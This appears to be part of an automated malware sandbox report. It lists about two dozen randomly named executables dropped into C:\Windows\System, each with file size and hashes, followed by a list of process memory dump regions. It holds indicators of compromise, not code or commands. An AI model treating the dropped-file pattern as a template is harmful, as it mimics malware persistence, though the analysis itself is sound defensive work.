C:\Windows\System\ULKWSDm.exe

Filesize
2.0MB

MD5
8691d8989c64cf8643567817d8f9d7c8

SHA1
e00f78202ada048ccc74099fd798602c0a53df70

SHA256
d492355f728a4ea31dd2692d9425725b21b50aa0d7a0aa1fc36bd813a6ef422b

SHA512
6d222a139e3a1f1fb352e37bea638fe834dc4e6191a8fa85fbca16358470b6b7577f08d5a4f1b595fc64fea3c74b1e0e856c10d811af2fa810f08318e4ea53b9

Download Submit
C:\Windows\System\UcyJwyl.exe

Filesize
2.0MB

MD5
194c73e2e23efdb01f5d49b38724e03c

SHA1
776e5fd4af20c95fa056b8cd6b6a095b12c23739

SHA256
638f2b741ff24aa210eb1c66277c1ee979dfdb6334d6bcbce277dbeeb9a0e24e

SHA512
2852833af32cd99c649e2ea6b344311df596dc2eb9cc82e518327c4505393efa7922a9e31148ea4b188c8eb2ce424e124dbd7f5bf078c7f868b13a28c72ea8cc

Download Submit
C:\Windows\System\VTXZjAd.exe

Filesize
2.0MB

MD5
55d02500dd33a72dcd004cc43fe21a68

SHA1
5407adb7717d6cbeabed39f90046c4fd1a0372ac

SHA256
5f42779b4495ec3e57332017b721ef867766df41c168627780a5c9e47977c8e1

SHA512
dd1fd5042d56f04d8a319d38610ce35b525c2f56cfc877e4b52249dbdbbc5f8598a18462a9a5ad6c6c81d15b7d037c213c2bbf9eb418dc1b3be121165ccb1187

Download Submit
C:\Windows\System\WymVuJx.exe

Filesize
2.0MB

MD5
716359b0b7f0b152ede85f48ee5fe6d5

SHA1
0abf721b7756ed3193a081fcccb7228a0c69f816

SHA256
19ad16cabbb560fedf8401ab749362bbde7c868d6898c5aaa35a4bd0cb2025b3

SHA512
7a06adb0e2da09734c84c461584880325cf3de7e0b37bea2f36b235132f70069a941d72952959ed7932feb5d48e22b221eec8094542661e3aeabbff27f9afd50

Download Submit
C:\Windows\System\YkuEgaI.exe

Filesize
2.0MB

MD5
302280be8bc25f01fb8ec3e594c4830a

SHA1
7b0be9be433202a2052640d582db611e8bf00863

SHA256
664e4bc3f38e5733c900d9936252d5da041a07d4f4cb37cc3ea365d57dfc407c

SHA512
190c7585ec9be8f3b87bc1247007e23325f40c3f9c1291394297f5f2f0b852f7bd451f1745fd598cabbe33067e32f93516f92e6db568041451d6ad9e60d10e06

Download Submit
C:\Windows\System\YmPFJNO.exe

Filesize
2.0MB

MD5
7137932395e36e36ee27031fef365ce4

SHA1
373824b6cf67b41f3c65254661a259328bab5ead

SHA256
3d5d54fe0737d83562f51f79503259e721978559673f82fd63dec3375a647ae8

SHA512
f7f8a899c2217130f7f093276412577b460a057533920b94cc501988c0304ee089f0eb6af87380a6f7cdcf50b37693ea691df84f28eaa748a43200b536f1a870

Download Submit
C:\Windows\System\cTxBNsx.exe

Filesize
2.0MB

MD5
9957279ba2e698dd986ce70ec01980ff

SHA1
7bcbbc448adea6a937f05d48902f29d13bdcc3a4

SHA256
b2317efd8993580fa1d3721748a7d0769875b3653a74db2289f2fee12516b6db

SHA512
7ed7dd947b039fbf1f2b2d30ce9198b44179594c258cefd710370169c1dc6f267f0da55bac23b27cee8e21e93869205a732a0793c67a2bfb9d99ebadbc9ea6bc

Download Submit
C:\Windows\System\cjIYsMR.exe

Filesize
2.0MB

MD5
6e55a3fd68dd28d7db0e79771bd5b554

SHA1
b63ab1cd8e79e07d7ef54801b007715e94246755

SHA256
a7084ebf341d8c50242cc396e2d6403fe75a6ffcb3a5271e5ff0bb302307d9e1

SHA512
4191b215918acb5c5bb027844621ae77a9ada869edb9e62edafc851d7492b867d3eed31f2f83aa02a4239267cfe0f9da219f9099a509423e2ed9acef0974a134

Download Submit
C:\Windows\System\dguTJuW.exe

Filesize
2.0MB

MD5
a63108e8d05bb9ee7816124dc48b6889

SHA1
e495821561889545ea7f8a307d2d911c09bc9260

SHA256
2cafd6d79bf4d34f95631fecfb8bdd270b658fdfebb888cfa6070114a83666e1

SHA512
eb57a1fe0d62d3c807e510d63b5103b4d7d08761a51e27fc009902dfeb786fe5f6cc51bfe2faa60cebb72a3f3e55e052089a5f54e95ee7960acce2cefdc4d256

Download Submit
C:\Windows\System\fsDRBBD.exe

Filesize
2.0MB

MD5
cc6fbafe6c9e6d8b5cf73f676215dd68

SHA1
c05873ce01e2af3cf1040e925fef51abfb7b2d30

SHA256
df2110d34e5d1765b93046f479f1e44f16a0c9e622a62115b2b44a9ecf351890

SHA512
9a0586482ded5f1ca5799284af9ab6208337325b801365fbbe79bf06647d5bef1aa2ba36a86226478d4cd434ffdb7d5790d07ef0487a6718606c9949c2026da6

Download Submit
C:\Windows\System\iTxuxyn.exe

Filesize
2.0MB

MD5
e9eb869f14851dc8f9bdf0581b1ee2e9

SHA1
f98e8ac8b15053d5305004f86f29653b9b2ea4dd

SHA256
70e68647274f8851c1f740561aedeeb8d5d35c2272ffb6c0c2bbd31a89b07de6

SHA512
dc39715d5c627c7001e3ec3644f225ca062622284e85232a20ec7623977737288cfbff5614177fd22cdf71f747b76e926bc5ef6c12d886d5cf240c633a5afeaf

Download Submit
C:\Windows\System\lErfGOc.exe

Filesize
2.0MB

MD5
82d1f3d691121ee9e617863790ec4c0f

SHA1
102878e39a50aadd3fe04860e1ec4686aaa6f2fb

SHA256
1ecf5cbd2a55225adc6eb160714348488ca77632bd9eb4d6a783f9d6c4b9b354

SHA512
f767becd808f07720e71f42575b5d754d82214c2cb332e28a4b071e4510de1641e3dcb81ff21f3fc19d4376f83758040ffc5bc6a8d4cb45db90ac79c17a8ab7a

Download Submit
C:\Windows\System\lPlgFLu.exe

Filesize
2.0MB

MD5
997cc582cb1f90e904fa13c34e8ff1cc

SHA1
9937a84c3ea5c3a9f69db5edaf1e81704b3737bb

SHA256
6d2ad5aafef7a0f7e9be7a40cc9cc3f5612f2744f64df9741f685e471f7b8966

SHA512
64345e22607dacbe91ef029cffc5844d0303eb80565b595b2996c89cbb2eb5d2bd490ceead901a55df3f85e4bf3eba6510e344494dce7d1e6f3ff0be7ce9c1cd

Download Submit
C:\Windows\System\mLYdWUH.exe

Filesize
2.0MB

MD5
60d60eb0c48544964e59ab49a9081ae1

SHA1
5cd9342f41dd2e3d2707fbcddbd9cd609c9800b0

SHA256
16bf45c9802442f9ffac94272bc3c9ae9ffaa3072529e4e6014db9df87b50b8b

SHA512
550f6836dc7d5c6f9e5c8146f63ae0c6bf2da39f5d6d904fc613e7d6a1f5bba66158387e747ad3119e9dd30c5cff14358301c77fa5514f69f100e51308131008

Download Submit
C:\Windows\System\pdbuyVl.exe

Filesize
2.0MB

MD5
683b560ec41f3e95b715838b61ac7df3

SHA1
be92862824c937504094c52fc9513fe87e9a5e0b

SHA256
05e48e82bef57af121ab4edd54b80c3dfb1d347a8ef341dcd79db1711e17a002

SHA512
5a7e3326eed5bcf152ff89f57988f03d4886367e8878fa2281907d7249e806d5e7c2152f440d279d9a2d6c0e907d31f93616ec74bf8fbd2f55ae31e25cc369a1

Download Submit
C:\Windows\System\ppCocZg.exe

Filesize
2.0MB

MD5
e125769d6c06ee09cc1546625833f99e

SHA1
46eb33f72b97b6f103493b8a2b4200c7c3651cc1

SHA256
c94595622a13ee9cdcd0088b97b7d5f850867bd496e748c164f074e5ebd836e5

SHA512
9aa7fe00e1bb8bf0afd27d8bbd86d7f61baf575db7fbd326b0a1ed52fa597288303a4bc26e12839ff2a60ce26909e16cdef2bf8daa23d88ddb4340150b10d59e

Download Submit
C:\Windows\System\qviRrwB.exe

Filesize
2.0MB

MD5
cb7e585e9a0215d9995a97f82f8bcff0

SHA1
ad951c0eda9ff3f562dd9256c13d7629c702e752

SHA256
5924bc92e3e2ef97fb58be40313816c79324579e2f808b67803d79cfab44b2b7

SHA512
076165f9baea0d94de588f2a8a2272dbbb80d919aec66b03a668f53931965a8a6669bc8dc40f450455916be7939a0d25fffbda8c67b2be0138a4a492b0f4d1a7

Download Submit
C:\Windows\System\rrExwbo.exe

Filesize
2.0MB

MD5
25d41adef43606978d1e0de84bd724ca

SHA1
33f204d063353ed58290d4870ce75b95239af649

SHA256
95838fc0acc797659192721175b2dc067984d8fde8f94a24b06a3f9b87b1acd2

SHA512
8b80277d3950d0e770bf464bc577c337c5fa3cd1893a1cb8e2b589835bd710bf4aa86501d8bbd85edb11b90534e740a7f2d284c1b5cf53afb8ea4280d6d7f517

Download Submit
C:\Windows\System\sczqtLZ.exe

Filesize
2.0MB

MD5
31e616b9f6fe5267676ab2a28ccc2def

SHA1
b61b069ee59c0af92a80015bb206a327e03d2692

SHA256
edff5f76c567584211f40c44c51295722128aa3687517e90e7dd64976f031bcc

SHA512
1b7f7c5398b42c4904562711304b55d484d051a92217c46a58479380b96558ccf58663e2754e6710c665aaa0be28bdd4cb31d039bb995db7b90709dc11c62553

Download Submit
C:\Windows\System\tTBzChF.exe

Filesize
2.0MB

MD5
7cd8a2e4c241b195d447e11c99f75aa1

SHA1
508bd6bec4434ff2a528ce02fe521c80a69be715

SHA256
39e69f024a8ed9d858ec63bd1cf262c581457368550063500ee017dd375669fb

SHA512
9912359b27f59307ee2eb9dd516fc25719914450e5ef5925b54aa789b30c4c5fcefd3514d578aef5964d72a557fd6e7fbc6c57ee2cbb36b3074a7bdac6105067

Download Submit
C:\Windows\System\vVPJMFZ.exe

Filesize
2.0MB

MD5
017b8fee93fc49939fe8f4ab4edf936c

SHA1
583297fbe93c1df92914c0bc2f5482d967bb1745

SHA256
0e2c8963aab46345869a27d5044ea7842f2f3ddb94d664cc9f50cbf45ca44b51

SHA512
13019c221c1da316f1145c9a8f947d63a6fd0f6f3dcc920d268b369862b18b055837e55c39180e8603568418033fa0b77e1bb44753f008f17e276df80da33318

Download Submit
C:\Windows\System\wDfgREb.exe

Filesize
2.0MB

MD5
e90de7e0dd2e10e36c1e9dd5a6a96656

SHA1
aa5add4d746a42a738ef13fe1584f8a20ff3e959

SHA256
4d904fcd857b7987c9afd5a97e6d1ede1d772b248b0022bf491e392a5c606ab7

SHA512
d56d061c9237664ef379a088ae720c70fffe30af69ccfd715948e7ce7c81e249c0f6f6eefca096992ec9f81ac0b5c4a46ee27d210dabd25b1c99ef0f3d864e3e

Download Submit
C:\Windows\System\yreYAdN.exe

Filesize
2.0MB

MD5
aaf04b2f2e9596f1c2d4d0cd881b0d84

SHA1
f4b88d02cbf32a12aa6bdd74cfcf6e92d8f84571

SHA256
e3b334db7f5050f334bbcd614d02ccbb323259eaaab1bdff036cd375d5beb0c3

SHA512
8d5cd19ed5447cdbf6d190260779fd77d5f2fc8279ad08068f6d04c2db8f33e3f6c2dc59525dffc1e4fa9283d15c2af0dc32028c8a24a904e3fb476ba6a16ec4

Download Submit
C:\Windows\System\znnwWxE.exe

Filesize
2.0MB

MD5
78c541a90f8e51a69c0bbfe6c4ab8261

SHA1
96a432872d7fae640301263c68a7f5986ed1a49f

SHA256
d31e1761c3f84730b5265acb478e2fe2aed2bb2da26d78b8d2ca1e0522aa6932

SHA512
eaa0b287689c8693243951e81848407736d40624479027de9b445af981a0d4eac44fefda5fe297f49d01b3e5ef4dcf74e4fb57b7faf727fc34b63e2151558b8f

Download Submit
memory/960-4895-0x00007FF724160000-0x00007FF724552000-memory.dmp

Filesize
3.9MB

Download
memory/960-555-0x00007FF724160000-0x00007FF724552000-memory.dmp

Filesize
3.9MB

Download
memory/1200-413-0x00007FF775130000-0x00007FF775522000-memory.dmp

Filesize
3.9MB

Download
memory/1200-4890-0x00007FF775130000-0x00007FF775522000-memory.dmp

Filesize
3.9MB

Download
memory/1204-4810-0x00007FF7A6380000-0x00007FF7A6772000-memory.dmp

Filesize
3.9MB

Download
memory/1204-129-0x00007FF7A6380000-0x00007FF7A6772000-memory.dmp

Filesize
3.9MB

Download
memory/1576-478-0x00007FF657020000-0x00007FF657412000-memory.dmp

Filesize
3.9MB

Download
memory/1576-4913-0x00007FF657020000-0x00007FF657412000-memory.dmp

Filesize
3.9MB

Download
memory/1580-558-0x00007FF611090000-0x00007FF611482000-memory.dmp

Filesize
3.9MB

Download
memory/1580-4905-0x00007FF611090000-0x00007FF611482000-memory.dmp

Filesize
3.9MB

Download
memory/1696-248-0x00007FF69BF20000-0x00007FF69C312000-memory.dmp

Filesize
3.9MB

Download
memory/1696-4880-0x00007FF69BF20000-0x00007FF69C312000-memory.dmp

Filesize
3.9MB

Download
memory/1820-1-0x0000028BAAFD0000-0x0000028BAAFE0000-memory.dmp

Filesize
64KB

Download
memory/1820-0-0x00007FF643CD0000-0x00007FF6440C2000-memory.dmp

Filesize
3.9MB

Download
memory/2088-474-0x00007FF71DF60000-0x00007FF71E352000-memory.dmp

Filesize
3.9MB

Download
memory/2088-4884-0x00007FF71DF60000-0x00007FF71E352000-memory.dmp

Filesize
3.9MB

Download
memory/2236-557-0x00007FF628BB0000-0x00007FF628FA2000-memory.dmp

Filesize
3.9MB

Download
memory/2236-4935-0x00007FF628BB0000-0x00007FF628FA2000-memory.dmp

Filesize
3.9MB

Download
memory/2360-4887-0x00007FF7E1620000-0x00007FF7E1A12000-memory.dmp

Filesize
3.9MB

Download
memory/2360-563-0x00007FF7E1620000-0x00007FF7E1A12000-memory.dmp

Filesize
3.9MB

Download
memory/2600-560-0x00007FF6EAB60000-0x00007FF6EAF52000-memory.dmp

Filesize
3.9MB

Download
memory/2600-4968-0x00007FF6EAB60000-0x00007FF6EAF52000-memory.dmp

Filesize
3.9MB

Download
memory/2708-172-0x00007FF622620000-0x00007FF622A12000-memory.dmp

Filesize
3.9MB

Download
memory/2708-4808-0x00007FF622620000-0x00007FF622A12000-memory.dmp

Filesize
3.9MB

Download
memory/3028-368-0x00007FF6D8400000-0x00007FF6D87F2000-memory.dmp

Filesize
3.9MB

Download
memory/3028-4919-0x00007FF6D8400000-0x00007FF6D87F2000-memory.dmp

Filesize
3.9MB

Download
memory/3268-4924-0x00007FF6A6B50000-0x00007FF6A6F42000-memory.dmp

Filesize
3.9MB

Download
memory/3268-556-0x00007FF6A6B50000-0x00007FF6A6F42000-memory.dmp

Filesize
3.9MB

Download
memory/3548-216-0x00007FF7BD990000-0x00007FF7BDD82000-memory.dmp

Filesize
3.9MB

Download
memory/3640-554-0x00007FF7EE750000-0x00007FF7EEB42000-memory.dmp

Filesize
3.9MB

Download
memory/3640-4934-0x00007FF7EE750000-0x00007FF7EEB42000-memory.dmp

Filesize
3.9MB

Download
memory/3728-562-0x00007FF664600000-0x00007FF6649F2000-memory.dmp

Filesize
3.9MB

Download
memory/3800-86-0x0000022A221C0000-0x0000022A221E2000-memory.dmp

Filesize
136KB

Download
memory/3800-75-0x00007FFA22850000-0x00007FFA23311000-memory.dmp

Filesize
10.8MB

Download
memory/3800-32-0x00007FFA22850000-0x00007FFA23311000-memory.dmp

Filesize
10.8MB

Download
memory/3800-3-0x00007FFA22853000-0x00007FFA22855000-memory.dmp

Filesize
8KB

Download
memory/3800-2130-0x00007FFA22850000-0x00007FFA23311000-memory.dmp

Filesize
10.8MB

Download
memory/4116-4908-0x00007FF7AD510000-0x00007FF7AD902000-memory.dmp

Filesize
3.9MB

Download
memory/4116-561-0x00007FF7AD510000-0x00007FF7AD902000-memory.dmp

Filesize
3.9MB

Download
memory/4340-270-0x00007FF7FC250000-0x00007FF7FC642000-memory.dmp

Filesize
3.9MB

Download
memory/4340-4916-0x00007FF7FC250000-0x00007FF7FC642000-memory.dmp

Filesize
3.9MB

Download
memory/4360-4950-0x00007FF661A80000-0x00007FF661E72000-memory.dmp

Filesize
3.9MB

Download
memory/4360-559-0x00007FF661A80000-0x00007FF661E72000-memory.dmp

Filesize
3.9MB

Download
memory/4376-4947-0x00007FF635EE0000-0x00007FF6362D2000-memory.dmp

Filesize
3.9MB

Download
memory/4376-548-0x00007FF635EE0000-0x00007FF6362D2000-memory.dmp

Filesize
3.9MB

Download
memory/4736-315-0x00007FF7F5D50000-0x00007FF7F6142000-memory.dmp

Filesize
3.9MB

Download
memory/4736-4848-0x00007FF7F5D50000-0x00007FF7F6142000-memory.dmp

Filesize
3.9MB

Download
memory/4892-269-0x00007FF7A9B90000-0x00007FF7A9F82000-memory.dmp

Filesize
3.9MB

Download
memory/4892-4888-0x00007FF7A9B90000-0x00007FF7A9F82000-memory.dmp

Filesize
3.9MB

Download
memory/4984-415-0x00007FF6C1990000-0x00007FF6C1D82000-memory.dmp

Filesize
3.9MB

Download
memory/4984-4899-0x00007FF6C1990000-0x00007FF6C1D82000-memory.dmp

Filesize
3.9MB

Download
memory/5100-4930-0x00007FF69CA10000-0x00007FF69CE02000-memory.dmp

Filesize
3.9MB

Download
memory/5100-564-0x00007FF69CA10000-0x00007FF69CE02000-memory.dmp

Filesize
3.9MB

Download